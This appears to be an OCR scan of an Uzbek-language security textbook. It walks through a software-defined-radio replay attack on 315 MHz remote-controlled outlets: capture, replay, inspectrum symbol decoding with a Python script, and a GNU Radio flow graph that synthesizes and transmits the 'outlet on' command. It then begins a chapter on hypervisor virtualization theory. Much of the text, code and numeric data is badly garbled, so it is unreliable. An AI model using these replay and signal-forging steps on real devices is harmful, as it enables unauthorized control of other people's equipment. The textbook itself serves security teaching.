RS < s ‘ - « 0 Nlulis : i1 (1
funksivasidan joydalanilishi kerak, shmda SR I - * el Kilt (£
: Lt toZalas

di. Ba's g et fof : It conale ifl-
sa zan Kill funksivasi ishiatilsa ham. transmitter 1o cimalya oshirile
- xXtanen

ish tugagandan kevin uzatishni di. shuning uchin
bo'l BocHe i \¢_1>n? !'r_'{m'\f”” devom ettivmaslikka e tibor kerak. ki i © 7L
o tmaganida uzatishni davom ctishing aniglash i Sn—p———

: sh g

ganligini tekshirish uchun qur vin boladi. U=aiishni 10 xiat-

ilmani qayta ishea tishivish munkin

Oqim diagrammasi dastlab 1 ko*payti

0 paytiruvchi k S s b -
da, elekt : onstant bilan ST P
- r rozetka yogilmagan. 22.5-rasmdagi chastota diagrarlrsllm]gaiil;;:lIt:;:%?']:'i

g uchun boshga bir narsa ta-
I vaqt domenida ko‘rsatadi, X

chasFotadz'i u_zatayotganini ko‘rish mumkin, shunin
refqgi}fotnl to"xtatmoqda. Vaqt diagrammasi signaln
o°qida vaqt va Y o‘qida amplituda mavjud




Remote Analysis Replay

0.05 -
£ L l
2
£ o]
T |
1
20 40 '
Time (us)
20 -
2laarg Mz .35 33 a8
40 —
= 4 ||
E 60 — i
g ] 'h ‘ ! ‘
% HO—'I ﬂ T ‘,Y‘Afi fll r!# I.]-I.EM Al
i) ““ n iw;f ,Tﬂ I l"HJ’I b{ T,!g‘r 'ih
. 100 ‘| | ' '
-1205
]
3la.500 315.000 315.500 316 000 316

Frequency (MHz)
22.5-rasm. Vagt va chastota diagrammalari

Ko‘pei . _
pgina hollarda muvaffaqiyatli replay gilish “otyin tugadi™ degan mia’ion]

kirish nazorati qurilmasida replayni oldini olish

Tahlil qilish

Hozirgacha signalni qabul gilib, qayta o*rnata olish isbotlandi. ammo nima
uzatilayotgani hagigatan noma’lum. Bu bosqichda qurilmaning turli tL-lg.ma 'bo-
sishlarini qanday farqlashini va boshqa masofadan boshqaris.h q.urilm.aiar-ml c'hu';a-
rib tashlashga qodirligini aniglashga harakat qilinadi. Bu-lkkl vaz'lfanl baJar-:sh
uchun ma’lumot ganday kodlanganini bilish kerak. '_I‘ahl]lm. gnuradio_compa;}lon
yordamida amalga oshirish mumkin bo‘lsa-da, vazifani biroz osonlashtiradigan

boshqa bir vositani, ya'ni inspectrum ni ishlatish kerak.

memote Analysls Replay

Amplitude
=]

| —p———T
T 2 T

7 52000 54000 5
J6000 ABOOD 50.000 5 R i Gies)

yoqish-o‘chirish kalitlashini ko‘rsatadi

22.6-rasm. Vaqt diagrammast:

com/miek/inspectrum) — bu oflayn radio signal
adio signallari bilan ishlaydi. Hozirgi vaqtda.
pectrum versiyasi eng so‘nggi versiya-

Inspectrum (htlps://gilhub.

analizatori bo*lib, qabul qilingan t

: :da o‘rnatilgan ins _ 2 '
f‘pdl yordanz;da lfbunt(;lad:laob:]; Ijﬁda foydali xususiyatlarni 0z ichiga olmaydi.
Sldan orqada qolmoq

i i ba kodidan qurish uchun

. ; ; X linadi. Inspectrumni manba KOCITAR | .
ﬁllll‘.{élb dan-qurlsh tri\;f::z]i‘lr?;]z erak bo‘ladi. Ubuntu asosiy sa;;?;lsih g%:]gp&cé'
I‘Lﬁi;i-giﬁl{:l:i]:?gn;ﬁklab olish saytida joylashgan Analyze pap g '

¥ ‘ 1 kln
- : ) 4 o‘rnatish mum " i
Ixt fayldagi buyrugla: )’O_rdaé;::_’gtnasida uzatish uchun tashuvchi signal ma’lumot
Ma’lumotlarni stansty

i si ki chastota ikki tomon tomonidan
. S il uvchi signal Yo Sto 1) ¢ : i
bilan I’lllodulyatmya'r.]lhﬂadl_- Tg?:i da olib yuradl'j. _Yoqrsh-o chms_h lflahﬂ?h HEZ:_
h;;mk bilinar va ma lum]‘,’::clla modul}’aISiYa usulidir, bu tashuvchi chastota
off keying) oddiy ampl!

145
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judligi yoki yo*qligini ax | uzati
‘rioq_ish'-o‘chirishqkaglitla;h‘:i)i(r::):):ildiu\fliﬁzllzliut?hlm e |
g f’-lc.hlga oh'shi mum!_dr.]. bu yerda }rnpu1311i:11{=]
a::_lmpt.tlsnmg yo'qligi 0 hisoblanadj. v: i
va gisqa impulsni 0 sifatida ishlatishi mu?r?lil[c:

' 22.6-rasmga qarang).
at blt}a davomiylikdagi impulslarni
mavjudligi | va o*sha davomiylik-
a murakkab shakli uzoq impul;‘.ni I
1 /\En[_)litudani ba’zi bir qiymatdan
ucml}r:ss;clrum o it loandes g iShc(],;ioti: 'TF“_I;OI davri deb ataladi.

" rur o*zgartirish .. ongd tushirib, GUI'da ne alarimiz
ning yuklab Olisﬁ saytid;ai;;g:lig;a oshiriladi. Qurilma maviledzti]';1]:::1’;1[1?:::[:{
dan. foydalanib kuzatish ﬁu:nkin : ‘ |

Iunnhmgn on-4m-;
) npec 1-1 -316mhz
| | FILE B LTTTT s
0.010000 Ny

bozodq

Spectrogram

L2

-2 MHz
Time selection

Enabie curiors

Rate

wwmbol periog

ash joizki, ko*proq aniq che-

gacha bo‘le . 7
gan chastotan; anglatadi. Bundan tasi]c}ﬁ{dzn I MHz (yoki 315 MHZ)

arl_| iagl'alﬂmni ¥ I -1—

gorizontal I¢

vishda kuzatilsa, tyr]; o¢
 toaek b o g
0 lchamdagl chiziglar va u]arorasidab hl ko'ri
o‘shliq borligi ko’r'"

kaliiﬁshining bir shak]in; ifodalaydi
a’lumotni dekod] :
ash uc

i i hisoblanishj i i
simbol ma’ : . - i va bitta paketning
ma’lumotlarni qabul gl .+ INSpectrum signalni o‘Ichash V@
hta vositalarni taqdim etadi. Kur-

bolish imkonini beradi. Shuningdek. o*rta sichqonchani bosish orqali amplituda
ollari ajratish imkoniyati mavjud. 22.8-rasmda

diagrammasini qo*shish va simv
a signaldagi sakkiz

siz 272us uzunlikdagi simbol davrida kursorni qo‘shilishini v
davrni ko*rish mumkin. Simbol davrini aniqlash uchun kursorning old qirrasini
eng kichik simbolning boshlanishiga moslanadi va kursorni shu simbolning oxi-
riga mos kelishi uchun masshtablash amalga oshiriladi. Keyin. barcha simvollar-
ni boshlanishiga moslash uchun hududni harakatga keltiriladi va simvollar soni
oshiriladi. Aslbsimbol davri aniq bo‘Imasligi mumkin, ammo u taxminan to*g'ri
bo*lishi kerak. Asosiy g‘oya barcha simvollarning chekkalarini davrning chek-
kasiga mos kelishini “aminlashdir. Bunday oddiy diagrammada ham bir nechta
muhim ma’ lumotlar olinadi:

— Eng kichik davomiylikd
— Eng uzun davomiylikdagi impuls eng

agi impuls 272us.
kichik davomiylikdagi impulsning

uch barobari.
— Bir impulsning
to*rtta 272ps simbol davri mavjud.

boshlanishi bilan keyingi impulsning boshlanishi orasida

inspectrum: remote 1-1on-4m-316mhz
g S [-l--v-- .

2 MHz lo.010090 |

Spectrogram
sie

o M
Ciale

Time selection
" v

Enable cursors

2 176ms

3.67647hBd

22.8-rasm. Simvollarning o ‘lchanishi

ar soni oshirib, barcha ma’lu-

andan so‘ng, simvoll
kalari bilan qaturlashishini tekshirish kerak. Di-

agra da zoom out impuls qayerda to‘g‘ri kelishi ko‘riladi.
B&:mET}T 02;32133 biroz xato qilinsa, davrni biroz cho‘zish kerak bo‘ladi, shuning
uchun };ir;bol df;wi 272ps emas, balki 275us bo‘ldi. Bu kutilmagan emas, chunki
dastlabki o‘lchovdagi xatolar bu holatda 100 barobar ko p?ygdl. . o
Simbol tezligi va davri tasdiglangandan so'ng, endi simvollarning ajralt:b
e ylantirish mumkin. Buni amalga oshirish

olinishi va ulami ikkilik ma’lumotga a
{ 147

Endi simbol davri aniglang

mot paketidagi chiziglarning c.hek ari
gilinadi va OXITgl




uc;un..o‘nadagi tsicllgoqc]1ani amplituda diagrammasidan foydalaniladi. Ampli-
Iu a dj'agrammas_l qo‘sl_ulganda. spektr diagrammasiga uchta gorizontal chizig-
k1 y]anil _q_alt}rs q0 shiladi. Qavs simbol ma’lumotida to'g'ri joylashtirilishi (mar-
ba.;: as -t]m 1sh_1)'kerak. s!]uncia yangi qo’shilgan amplituda diagrammasida sim-
0 tr:1e]1 un!1011n1n.g .alnpi:tyda diagrammasini olish mumkin. Bu holatda. gavslar
51me o] rga'[!umot.mmg ustiga markazlashtirilgan va Power Max/Min sozlamalari
ma’qul bo‘lsa, dlagramma kvadrat to*lqin kabj ko‘rinadi (22.9-rasmda keltiril-
gan). Kvadrat to*lqin kvadrat to*lqin kabj ko‘rinishi
gh:q:shga (stdout) chiqarilishi uchun o*rt
stlie::cli.i z:\g;atllégf; giymatlar so"r;s,;ra inspectrum chagirilgan buyrug qatorida chop
<=-1U-rasmga qarang). Shu nuqtada, amp|; X ini ikkili
A . amplituda vektor dlik vektorga
aylantirish uchun Python dasturlashga o*tiladi. Il velors
y Ogjgigg;l;j;n?v]?!lIa;ninfiqinatlari ~1 va 17 oralig*ida. shuning uchun ular-
la 1shlash uchun ikkilik ma’lumotoa avlangir: 2 iqi
g | ga aylantirish kerak. Mantigiy
EZ:Jclidanmkaat]tum big I.IIIFCShO[d (chegaralash) qiymatini tanlash. by yerda thres-
e Ao ar{:)qu.ﬁk gan l*iar t:!anday narsa ikkilik 1, va undan past bo‘lgan har
qanday narsa ikkilik 0 bo‘ladi. Yaginlashib kelayotgan dccode—inspectbrum.P)’

Sk] Ipl] fOVdalanU VChiga inspectl -I' i resno d
e Umdan ajrat d .y S i .
1 l ‘h I i i ; i J llg n q] mallar‘ abOSlda lh 5 h I

bilan, simvollarning standart
adagi sichqoncha vana bir marta ishla-

i Inspectrum: remotei-1on-4m-316mhz
Controly v T T T 7
Open tile

Semple rate 4000000

Spectrogram

FFT size e

Zoom -

Fower max R e
Power min ———

Stales v

Time selection

Enable cursory: v

Symbaly 100

Rate 16 3372m2
Petiod 7.52ms
Symbolrate:  3.63372kB4
wymbol penod: 275 2y

22.9-rasm, Amplituda diagrammasi

grayhat@ubuntu: /GH6

: § inspectrum -r 4eo
16.9547, 16.5725, -0.999272, 17.3654, -0.996848, -0.999571, -0.993058,
17.4464, -0.996B42, .0.997412, -0.998701, 16.4391, 16.539, 16.8396._-0.999?1,
17.4098, -0.998961, -0.999215, -0.999266, 17.6255, -0.99??45. -0.999665, -0.997
095, 16.7962, -0.998431, .©.999317, -0.997847, 16.9901, 16.8522, 16.5621, -0.%9
7813, 17.4498, 16.2673, 17.0281, -0.99554, 17.5745, 16.7143, 1?.0%49, -0.999877
, 16.2243, -0.999978, -0.997165, -0.998568, 16.7289, 17.4944, l?.-.aglf -0.99768
4, 17.4977, 17.0088, 16.4327, .0.998229, 16.1483, -0.999961, -0.998696, -0.9981
89, 16.8322, -0.997751, -0.995315, .0.996984, 18.5881, -0.999142, -0.997718, -0
.997556, 17.4115, -0.999687, -0.999922, -0.998284, 18.465, -?.998243, -0.999491
, -0.997841, 17.7649, -0.999843, .0,999323, -0.998556, 17.8577, -0.999423, -0.9
97512, -0.999266, 17.9569, -0.999706, -0.998791, -3.9939?6. 17.4343, -6.99?31;;
.0,998814, -0.996952, 17.6677, .0.999965, -0.999467, -0.997974, 17.8313, 16.

85, 16.431é. -0.997114, 17.0524, -0.999487, -6.9997, -0.999322,

16.8144,

22. 10-rasm. Olingan simvollar

. . i ot ' T o

{maldagi minimal va maksimal givmatlar Power Min Max sozla
- 5 :rr'f\-m' oumikin. Men “thresh” (threshold wehimn) parametri-
ceari He : Ty : oy AR o
) . bu i givnatlarni hisobga olish imkonini

Eslatma!
malariga garah o _
i dekodlash ;”,:;!\\.{1.1;\!_3‘: Gqo shdi

heradi.

GH6 > @ipython3
Python 3.8.10 (default, Jun
?_";.?pe ’cop_w‘fghf’. teredits” or 'h'.f.'ense‘ :
IPython 7.13.0 - An enhanced Interacin
In [1]: ®load decode-inspectriim. py

In [2]: #!//usr/bin/eny python
import bitstring .

from bitstring import BitArray,
def decode (pfx.thresh, .v,;-:mb ols):
symbolString= '
foriinsymbols:
ifi>thresh:

22021, 10:49:13)
' for more information
wctive Python. Type 2" for help.

BitStream

. =t
symbolString* = d
else: -
symbolString* = cnnt e sumbalString)
2 W Obh'+symbol. & 2
he“"\‘-vmb""s:B”Arra'v( mbols.hex.replace('e’, "l ).replace

= = xSy
con verredﬁymbr}.’s hexd]

{8 20

149




print("fo:<] 25} 41} ”.formar(;:_/’x, hexSymbols))
print("{0;< f3st 1"
mbols[:-1])))
print(symbolString)
In [3]: ®unp= 16.8144, 16.9547, 16.5725, -0, 999272, 17.3654, -0.996848, -0.999571,
-1.993058, 17.4464, -0.996842, -0.997412 -0.998701, 16.439], 16.539. 16.8396, -0.99971,
17.4098, -0.998961, -0.9992]5, -0.999266, 17.6255, -0.997948, -0.999665. -0.997095. 16.7962,
-0.998431, -0.999317, -0.997847, 16.990;, 16.8522, 16.5621, -0.997813. 174498, 16.2673.
17.0281, -0.99554, 17.5745, 167143, 17.0249 -0.999877. 16.2243, -0.999978, -0.997165,
-0.998568, 16.7289, 17.4944, 17.4021, -0.99768.4 17.4977, 17.0088, 16.4327,-0,998229, 16.1483.
-0.999961, -0.998696, -0.998189, 16.8322,-0.99775]1 . 995315, -0.996984, 18.5881. -0.999142,
-0.997718, -0.997556, 17.4115, -0.999687, -0.999922 -0.998284. 18.465, -0.998248, -0.999491.
-0.997841, 17.7649, -0.999843, -0.999323, -0.998556, 17.85 77, -0.999423, -0.997512, -0.999266,
17.9369, -0.999706, -0.998791, -0.998976, 17.4343, -0.99521]. -0.998814, -0.996952, 17.6677.
~0.999965, -0.999467, -0.997974, 17.8313, 16,8585 164318, -0.997114, 17.6524, -0.99948.
-0.9997, -0.999322

In [4]: @decode("one on "10,tmp)

oneon 60).‘6889888@&(38-36888888388888
oneon®ix91dso]

emnmoomonmomamnomonnmomamnmnmm)mof )100010001000100010
00100010001000100011101000 100010001000

In [5]: quit

Ma’lumotlar bilan interaktjy tarzda i
dalanaman, ammo kodni qanday ishlatis
zalliklaridan biri shundaki,

shlash uchun men ipython3 @ dan l'o}"'
y 18 hni tanlash mumkin, ipython3 ning af-
rutinni o°zgartirib, yn; xohlagancha gayta yuklash
simvollarning chigishini ]@
®. tapi: linoan simvol-
lar dekod ® va xom binary dekod @ shaklida chiqarad?r'{"lar:j?nﬁlz;l?iﬁign sim-
vollar dekodi on-off kalitlashda ikki simvol paydo bo‘lganligi asosida ;uzilga“-
Binar}-z ma’lumotlar ham xuddi shy ikki simvolni aks ettiradi, uzun impuls 0xe-
qisqa impuls esa 0x8. Barcha qo°lga olingan ma’lumotlarda d;:k(;d]ash natijalari
quyida ko‘rsatilgan:

# Hex representation of symbols

# Data separated on 8roupings of 2 bits, 16 bits, 7 bits
remote foneon().\'eSSeS

8eeeeeeee8eeeeé’888e88
eeeeeeeBeeeeSSSeSrS’S
eeeeeeBeeeeS&SeeSS

remofe.?Hn'eeonﬂxeSeeSe
remote2on eoffOxeSeeSee

JSormat (pfx,Bitdrr ayv('ob'+convertedSy

-] ] >
remotelwo u_,f:f“ﬂ.u;8e:Se;:’fgf ffi;;;:ff;gf;gw
cemote2threeoffO0xeS8eedeeeecee
? i("fc":n-mv-.'cc.‘ values (assuming Oxe=1 and 0x8=0)
remoteloneon0x91d801
remoteltwoon0x91d802
remotelthreeonOx91d804
remoreloneoff0x91d806
remote ltwooff0x91d809
remotelthreeoff0x 9}(?803
remoteloneonOxb7fbcl
remoteltwoon0xb F"f!ic."
remote2threeonOxb ..-jfh cH
remoteloneoff0xb :-',,f beb
remoteltwo (J_;f_fﬂ.x"h 7f flr.‘ 9 i
remotelthreeoff0xb7fbc

emas. lekin u doimo binar 10 (hexda Oxe8

i eyi Illﬂ,lumot faqat remota[a

S- ‘a .da 'f(!da angan ]l- a hOSh[al'ladl. Shllndan ]\e}‘ll:l- ; : r-

]f N ] qlqn] Jd.. )blllleis]a re[nota[af faqat jU{tlaSh[Irlla_an rozetkala d 1 h] h}ni
O‘I[ab‘ida {al 1adi. rada isnilas

1 o [. a re .] (d tSi}’a qq I I . .\li &
0T [ i k“]. AC" ar ll\ al I 3 : . .- ] % :
J’ - il C I'tl(i Opel 3 ” ’ o q

iri ’ ilan ishlashini
di replay hujumlari faqat juftlashtirilgan rozetkalar bilan
bo*lmasa. endi replay hu '

bilish mumkin.

Har bir paketning boshlanishi aniq

inishini olish (Preview)
’ indan ko‘rinishini o . )
ignallarning oldin o " ; *z ma’lumotlarni
‘ndi I 'lSIsgal'lj-harakatlarning nau_jalandan fo_} dﬁ??:l?];;]zmi "
. ["nd.' _barc . 1ki;1 Ko‘rish bosqichining maq.szl'dl_, mk st B hoslos
- v mlzl'] lla;r kutean narsaga o‘xshashligin! u:ks ib ubolrmaslik uchun
; e inu g : i o‘tkazi
1T*lecl';lbmsia]n'(;'Ian birlashtirish mumkKin, amn;t? uni 0 Y
ijro bosqichi bi 0T imdir. e
giIIQE]ida %osqich sifatida ko-np Ch(]i(-llz:g:::-;l::a]al‘ilﬂiz nisbatan oddiy bo‘lib, juda
. ratgan oqim d1agranie . i aratish uchun yan-
it )’3;:; 1;.1ismlarga ega edi. Slgnalﬂ_‘_%OS]::snz}é 11-rasmdagi ogim
k?lm ]Lﬁl‘azallafl:;:]a[anila d4i. ular 22'3-jadw'ﬂia :a kliln ?—Z v.a bI.Ok tue
g1 bloklardan ink bloki mavjud, le s - nozik
A . om SIin S figini bildiradi. Yana bir nozi
diagrammasida osmocon larning o‘chirilganligin i
D R pa it ymkin. Buu - “tildi. Ma’lumotlarni sin-
cnlighticco rlSh.-lmd'ndagi 4 MSps o‘miga | MSpsga© l;lltdziikni ishlatish shart
0*zgarish shunda!sl: 0 (hun avvalgi kabi bir xil namunaviy le Jligini 275ps ko'r-
e qilinayolgaﬂllifl u:i tanlangan namunaviy tezlik simvol tezhg
emas. Bundan tashqari.

satishni osonlashtirdi.




22.3-jadval.
Signal Synthesis uchun yangi GNU Radio bloklarining tavsifi

N
Nom | Magsad Parametrlar

Viktar Uzunligi_ binar :.na'lumotlar
vektori yuborish uchun,

Kirishlarning shabloni. Shablon har
bir manbadan olingan giymatlar sonini
ko'rsatadi. Bu holatda. o*zgarmaydi-
gan ma’lumotni manzillash, operatsiya
va bo*shliq bilan birlashtirasiz.

Nizomli ' Bir nechta manbalarni bitta
aralashuvchi vektorga birlashtiradi

r Doimiy Ta\:fsi!‘:’Paketlar orasidagi bo*shligni
to’ldirish uchun patterned interlea-

Manba , imi itini i
ver’ga doimiy 0 bitini taqdim etadi.
Har bir binar qiymatni simyol va na- | !Merpolatsiya: Tavsif: Namuna tezli-
Takrorlash muna tezligi asosida takrorlab, binar e simvol tezligi bilan ko*paytiradi.
naqshni simvol nagshiga aylantiradi. Masalan, | ViSps ® 275psfsimvol =

275 namuna/simvol.

Aralashtiradi (modulyatsiya qiladi)
Ma’lumotni tashuvch bilan aralashtira-
di. (modulyatsiya qiladi). Bu tashuvchi-
ning chastotasini yoqish va o*chirishni

(on-off keying) samarali amalga

Ko*paytirish

oshiradi.
Manba Toshgin E:?;;{r);zs;ini ishlab Namur_ma tezligi: 1M To*Igin shakli:
- - : Kosinus Chastota:314.98 MHz
s?'oc’om SD‘R orqali uzatiladigan Sample Rate: :
ink ma’lumotlarni yuboradj. SR € reaenay)

314.98 MHz Ch0: RF Gain: 8

0°lib, pultdan yuborilgan ma’lumotlar

. Shakllar ikkilik formatda ko‘rsatilgan b
qanday bo‘lishini aniglash uchun ishlatiladi

Pattern = [0.0,0,0,0,0,0,0,0,0.0.0
UG 0.0,0,0,0,0,0,0,0,0,0,0,0.0.0
R i .0,0,0,0,0,0,0,0,0,0,0, 2,2
0 2222202222222222222222222222222 529y y i 111,1,2222222
“88222222222222202222222222222009 0 042222222222222.
;npm' 0 = 28 symbols of zero 1o create the ga,;J b:znv;en J;cke
nput 1 = 8 symbols of N()H-C‘haugmg Data: Oxe§ paetes

/ 2=92 i
nput 92 symbols of Addressing Data Jor remote | plus the 16 symbol.
s

turn on outlet | : Oxé’e88889&8288888888888@8 of the command 10

Flow gl:aph ishga tushirilgandan so‘n
captura fayl.l yaratiladi. Agar flow graph-d
Captura faylida analiz bosqichlarini qaytab

g, yangi_ test-preview deb nomlangan
a xato qilinmagan bo‘lsa, test-preview
ajarish shu kabi (yoki o‘xshash) natija-

- .

2. 12-rasmda keltirilgan). Shuni yodda tutish joizki, umumiy

feiit Tt Tk
Ani benshi kerak | hdagi bo*shliq bilan mos keladi.

simbol davrlarining soni 128 bo‘lib. bu nags

- o X
test-preview.gre - /[GHE
PP i W . Hel
o - =k )
M o
—
— r Vil m | variabie
Options | '\fin.hl" I s tarmpies,pev symbos [| vz samp ree | | ":"";"_"':.
Dutput Language: ©1hor |I a: " el Vlm : | Value: 1M | l"‘mr i |
| Generate Options: 07 |l£_h"'-_"_'_ D e — =

Vector Source
Vectorn: | |
Tags:
Repeat: °~
Vector Source
Vector: (L1 1011000
Tags:

Constant Source
Constant: |

File Sink
Flle: GHIAPS frevien
Unbuffered: 07

Append file; Overarite

Signal Source

Sample Rate: |V -
. Wavelorm:

Frequency: 114 584 araul lrr.qurnnl Sink
g Amplitude: | FFT Skre: L 008 freq

Ofset #08) Conter Frequency (Ha): J1EM
Inftial Phase (Radiana: © | Banawidth (Hz): (M

est-preview.gre

22.11-rasm: Repl ay flow diagrammasi: 1

inspectrums test-preview

T TR o 1Bt 1 R L T
R it g (2 LA B¢ | I TR .Ei)-"r‘
Controls | ;0.15 3 0000 00
Open file
Sample rate 106
Spectrogram
FFT size ——
Zoom —— _
Power max e
Power min ——
Scales v

Time selection
Enable cursors: ¥

Symbols 128
Rate: 26.4091Hz
Period 35.2ms

Symbol rate 1.63630kBd
Symbol period: 275¢%

12-rasm: Dastlabki Inspectrumn digremmE,
22.12-r ?

h
)




Qo*shimcha manbalar

bladeRF www.nuand.com/

i iyotlar -
) nilgan adabiyo . N .
g d(;]l?dedg Tutorial_Introduction,  wiki.gnuradi

- . : , / . : /Guided Tu-
: “Venavte | [ verasis wiki. gnurad10.0rg/1‘nde:\._plllPGRC wiki'gnuradlo.01g1’1ndex-13hp —
" [y | I_:’ji‘:___ org/index.php/Guided_Tutorial_

I Vertor suu«T ! :—h_ - ;m_mow-n l!bml: B | to]_ia] GN LJ Radio_-in_P}lhon mackrﬂ(

| e tiLy I#m ed Inters B_/,' : :w:m Sl X I rreatscotlgﬂdgets'com

g erm nterieaver * Channels: | = -

o - | | Pt ; HackRF One :”l b.com/miek/inspectrum html

vnn;‘s_u:;u = “_‘—'I :::’::m:: ‘C:::u.!‘;n!ml' ! lnSPOCtrum glt ]u ) S iofien/Stablehnde‘\‘ !

e o B . IPython ipython.readthedocs.io Pl

agu: | F Cain ¥ / - /

lh-::ul: L Inl"::-::,::: it .l :: l._::‘hl:':_;L 3 } dIO p)

www.arrl.org
Constant Seurce

i onura y
- ' PyBOMBS  github.com/gn mateur Radio

' : : jation for A ial by Michael Ossmann,
— e - NatmnalASS‘::'l‘;:dio with HackRF"(tl;tgl:’lal '
lgnal Source e - . re e sdr
,. s...f.f.” .| r ‘Software Defin F) oreatscollgadgets'comsRP-Bus—Series
1 ssessaion 114 e h—'—bq""mmJ the creator of HackR ! ;”; roducﬁcategor_\’/u
y P ‘ B i — USRP www.ettus.com/p
| Indtisl Praes [Radians): { FFT Sige: ;) u

eql I
—— U center Frequency (Mz): 1o 1100
hlnnq-mmml =l

22.13-rasm: Yakuniy bajarish ogim diagrammey;- lest-execute.gre

shashligi tekshirib chiqildi. Engj faqat OSmocom sinkinj yoqish (22.13-rasmgd
qarang), oqim diagrammasinj bajarish orqali uzatishnj amalga oshirish va kuch-

lanish m_ltlet’ining yoqilishinj kuzatish kerak, Sinkni yoqish uchun blokni sich-
gonchaning o Ng tugmasi bilap bosiladi va “Enable” tanlanadi. Agar amaliyot

bajarilayotga.n bo‘lsa, saqlashnj minimallashtiris}, uchun fayl sinki o‘chirilgani
ma qul. Endi, SDR yordamida pultning funksiyalarip; noldan qayta yaratilgan!
uchun xursand bo‘lish mumkin,

Xulosg
"imf}larga erishish mumkinligini hali fagat
oddiy RF qurilmasi tahlil qilindi. SCRAPE

S Dt ot Ota aniglandi, ma’lumotlar ushlandi, qay!d
jro hujumi o*tkazildi, ma lumotlar strukturas; tushunchalar berilib, ma’lumotlar-
ni noldan sintetik gilindj. GNU Radj '

_ AT SIHR ( O signallarni qurilmasiy simulyatsiya qilish
lrr}konlnl berishi ham ko‘rip chiqildi. Ushby bob SDR ga qiziqtirdi va bu mavzu
erishish mumkin bo‘lgan darajada ek

nligiga ishonch beradi.
| >

SDR va GNU Radio Yordamida
yuzasidan tekshirib ko‘rildi, lekin juda
Jarayonini qo‘llash orqali ishchi chagy




V BO‘LIM,
HYPERVIS()RLARI)A XAKERLIK

23-BOB. (;'ll'l-]R\’lZ()Rl.;\R

Ushbu bob quyidagi mavzuyl
* Virtualizatsiya gilinadj
* X86 virtualizatsiyasi

. Paravirtuaiizatsiya

* Apparat yordamida virtualizatsiya

arni 0°z ichiga olad-
gan arxitekturalarning nazariy modeli

Virtualizatsiya — by operatsion tizim]ar fizik mashinada (xost) bir vaqtning
o‘zida bajarilishi mumbkin bo‘lgan bir nechta, iZOiyatsiyalanuan virtual muhitlarn

Maytirishda taqdim etadj gan af‘zallilflf‘;
arni baham ko‘righ yangi xavfsizlik xavflarini keltiri
chigaradi. Masalan, virtya] muhitlardan biriga kirish huqugiga ega bo*lgan hujum-

chi virtualizatsiya stekida kamchilikdan foydalanib, xogt; buzishi va ushbu fizik
mashinada ishga tushirilayotgan boshqa virt

- e ual muhitlarga kirish huqugini olish
imkoniyatiga ega bo‘lishi mumkin,
Ushbu bobda virtuali

Xarajatlarnj kg
mavjud. Biroq, fizik resurs|

; zaniya qismining asosiy qismj: gipervizor dasturi haqi-
da s0°z boradi. Dastavva| Virtualizatsiy qilinadigan arxitekturaning nazariy mo-

delidan boshlanib, uning xususiyatjari Va umumiy virtualizatsiya tushunchalarini
muhokama qilinadi. Keyin x86 £a oid

e : 0°ziga X0s xusys
ushbu aniq arxitekturanin i

Eslatma! Ushby, kitoh

ning doirasidy har biy
qgilish imkoniyari mavjud e

mas. O'quyyehi ushby h
larni ¢ qishi kerak,

: cnid
mavzuni chuqurrog muhokant

Giiy e veenfil
; obni 10 Idirish uchun ko ‘rsati
gan manbalardan material

Gipervisor nima?
na kuzatuychis;

nalarning (VM)
va bajarilishini boshqaradi. Har

bir VM turij )
mumkin bo‘lgan izolyatsiyalangan virtual myhj

(VMM) - bu xostda ishlaydiga]’:
Yaratish, resurslarni tagsimlas

peratsion tizimlar (OT) ishlashi
tni taqdim etadj.

| ‘larning oxirlariga borib tagaladi. IBM birin-
-yl g o g

' : m (CP)
Virtualizatsiya tushunchasi 60 VMM dasturi Control Program (

izimlarini ishlab chigqanida: VMM ion tizim bilan ishga
chi CP/CMST tizimlarini lsgl;l;b n;]mlangaﬂ yerg] op?rats-::t)salizatsi}ra ki
deb atalib, u VMlami E,N;i[]i x86 protsessorlanmblol :];!;lg\itildaVMWare Works-
; . 1 iroq. 32- * it '.‘. =)
lushlr; olc;:ml. Bi l;)]qr 1 mahsulot ko'p yillar o't
muvaffaq bo*lgan birir i
tation2 taqdim etilganida yuz ber

y iva teoremalari _
17 allzatSIya i . ' i g
g ‘lrtuGoldberg o*zlarining vnrtuahzat'suk a
e li \irtual;zatsi)’a qilinadigan arxitek-
1 4

Popek va Goldberg““{:
¢ va Ro :
1974-yilda Gerald J. Popi:;a ular samarali virual SR anishi-
ildilar, ur dilar, Us !
teoremalarini ¢’lon ql]d.llarsmiv ravishda kmldllaf.;siyalarining o‘zaro alogalarini
turalar uchun taiablam-l ra ar\:itcktuffl implementa
; . a.an
Miz kerak. chunki bu bizga
tushunishga yordam herilld;: e
Ularning ishlanmasi Oiqnizmi
gan CPU va oddiy tuzoq me: ‘tizim resur
Ushbu modelda xotira yagona i kiradi.
L ctions) — Bu korsatmalar :;ac_lat
[ ' : instru aja-
lanadi: ivalar (Privileged -mdSt Ushbu modelda. ?ggrhcgllfaraiat
* Imtiyozli instl'“k_S gish rejimida ma\f’_!lu u'ri}’ ko‘rsatmani bajarishg
hazorat (supervisor) bﬂ_IJE} et bo'lsa, mi ;ndi
i -k - o . rcnl L » celadl.
fish rejimi foydalanuve - <hish olib
Qilish :mr doi?ﬂ qayta ishga w“S}E alar (Contr‘cﬂ
Nazoratga sezgir ins“u'&-m resurslarining
L] - Z H . & 111] . I
. . b hta 11z oylas
sat - bir yoki bir nec ‘da qayta]
Hol'ini?g;]mb(ildglda bu ta’sirlar orasida q

3 - - . % . - b
bajarlsh rejimi mElV,I'-ld-.r o tr“kslyalar ol
t ) 1 xulg-at "
* Xulqg-atvor sezg 1i xil xulg-8 <76ir) YO
konﬁguratsiyasiga qaraP turl (joyga Se4E
Ko*chirish ro‘yxati konhguﬁ.lr) ta
: i 1 :
rish rejimidan (rejlf"ga.se?fr _ bu instrd
* Zararli instruksiya
S€zgir emas.

i ' ga bo'l-

i it jarish rejimlariga eg :

VChl/momt(]J(r xzzyuter modelidan bOShlar}Zdl_

dan ibora-tl_bo CPU uni ko‘chirish i f‘;‘
SCIEB instrksiyalari quyidagicha tasni

: Heeoie:

ensitive instructions) ‘ 'Bu !\lodi
-Skonﬁguratsiyasiga ta’sir qIC aPU_
Jish registrining giymati va

izi ining
-struksiyalar tizim resurslzrmlla?
u‘ms‘rs:;itadi. Hozirgl modfel a ul
S ki CPUning hozirgi baja-
ivasidan (JO: T
o ssirlanishi mumk

i i xulg-atvor
- ualar nazoratga sezgir yoki xulq
ksiya

ke exe1 i fr -
maviud bo ‘lgan arxilc kn
’ .

1 ‘i'{."(ﬂt!ﬁ ba =i ta riflar

' ilingd! 5 sadida,
] ta riflar e !‘“;‘} ({s'mfd{.r.’u.w'rnrrh!’? maq
